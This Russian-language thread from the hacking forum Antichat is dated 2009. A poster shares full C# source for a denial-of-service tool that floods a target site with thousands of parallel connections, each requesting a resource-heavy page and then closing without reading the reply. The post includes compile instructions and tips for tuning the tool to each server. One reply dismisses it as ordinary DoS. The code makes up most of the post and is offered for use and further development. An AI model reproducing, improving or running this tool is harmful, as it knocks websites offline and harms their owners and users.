Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Форумы (https://forum.antichat.xyz/forumdisplay.php?f=16)
-   -   Возможная уязвимость apache из-за установленного форума (https://forum.antichat.xyz/showthread.php?t=116238)

Snow_ 16.04.2009 18:06

Возможная уязвимость apache из-за установленного форума
 
Недавно была написана программа, позволяющая ложить в даун форумы. Идея такова - одновременная посылка запроса на получение странички, требующей больших затрат по ресурсам для веб-сервера, после этого сокет закрывается, без приема данных. Один компьютер даже не с очень широким каналом может заставить сервер очень крепко задуматься - проверено. Единственное но - для каждого сервера нужно настраивать свои параметры максимального количества подключений и время повтора.

Прилагаю исходник на C#.

Код:

using System;
using System.Net;
using System.Net.Sockets;
using System.Threading;

namespace ConsoleApplication1 {
        class Program {
                private const int max = 10000;
                private const int tm = 120000;
                private static int cnt = 0;
                private static int run = 0;
                private static int con = 0;
                private static int sent = 0;
                static int i=0;
                static string site = "www.site.xxx";
                static string s = "GET http://" + site + "/index.php HTTP/1.1\r\nHost:" + site + "\r\nUser-Agent:Opera 0.0";
                static string s2 = "\r\nConnection:Keep-Alive\r\n\r\n";
                public static void StartClient(object s) {
                        try {
                                IPAddress ipAddress = Dns.GetHostAddresses(site)[0];
                                IPEndPoint remoteEP = new IPEndPoint(ipAddress, 80);
                                DateTime st = DateTime.Now;
                                Socket[] sender = new Socket[max];
                                for (int i = 0; i < max; i++) {
                                        sender[i] = new Socket(AddressFamily.InterNetwork,SocketType.Stream,ProtocolType.Tcp);
                                }
                                for (int i = 0; i < max; i++) {
                                        try {
                                                run++;
                                                sender[i].BeginConnect(remoteEP, new AsyncCallback(conncb), sender[i]);
                                        } catch (ArgumentNullException ane) {
                                                Console.WriteLine("ArgumentNullException : {0}", ane.ToString());
                                        } catch (SocketException se) {
                                                Console.WriteLine("SocketException : {0}", se.ToString());
                                        } catch (Exception e) {
                                                Console.WriteLine("Unexpected exception : {0}", e.ToString());
                                        }
                                }
                                TimeSpan ts = DateTime.Now - st;
                                cnt++;
                                if (cnt % 1 == 0) {
                                        Console.WriteLine(ts.TotalSeconds);
                                        Console.WriteLine("R:{0} C:{1} S:{2}", run, con, sent);
                                }
                        } catch (Exception e) {
                                Console.WriteLine(e.ToString());
                        }
                }
                static void conncb(IAsyncResult ar) {
                        Socket client = (Socket)ar.AsyncState;
                        try {
                                client.EndConnect(ar);
                                con++;
                                byte[] b = System.Text.Encoding.ASCII.GetBytes(s + i.ToString() + s2);
                                i++;
                                client.BeginSend(b, 0, b.Length, 0, new AsyncCallback(sendcb), client);
                        } catch (Exception e) {
                                client.Close();
                        }
                }
                static void sendcb(IAsyncResult ar) {
                        Socket client = (Socket)ar.AsyncState;
                        try{
                                client.EndSend(ar);
                                sent++;
                        } catch (Exception e) {
                        }
                        client.Shutdown(SocketShutdown.Both);
                        client.Close();
                }
                static void Main(string[] args) {
                        object s = new object();
                        TimerCallback tc = new TimerCallback(StartClient);
                        Timer t = new Timer(tc, s, 0, tm);
                        Console.ReadKey();
                }
        }
}

Еще в данной программе не хватает отслеживания количества задействованных сокетов для оптимизации выполнения на компьютере (при длительном времени выполнения загрузка идет до 100%). Так что рассматривайте ее не как готовый вариант, а идею, которую можно использовать для доработки.

P.S. То, что программа написана на C# не имеет значения, ее можно адаптировать под любой язык и на любой уровень, требуются только асинхронные сокеты и все.

Удобства именно C# заключаются в том, что скомпилировать можно на любом компьютере с наличием установленной библиотеки Framework.NET
Для этого сохранить код в текстовый файл с названием например test.cs и запустить в командной строке следующее:

C:\WINDOWS\Microsoft.NET\Framework\v2.0.50727\csc. exe путь_к_файлу_test.cs /r:System.dll
На warning's внимания можно не обращать, программа все равно будет работать.

Ponchik 16.04.2009 18:48

Изобрёл велосипед
Это называется ДоС

Snow_ 16.04.2009 18:59

не такой уж и Дос, и я - она. Больно не бейте.


Время: 23:04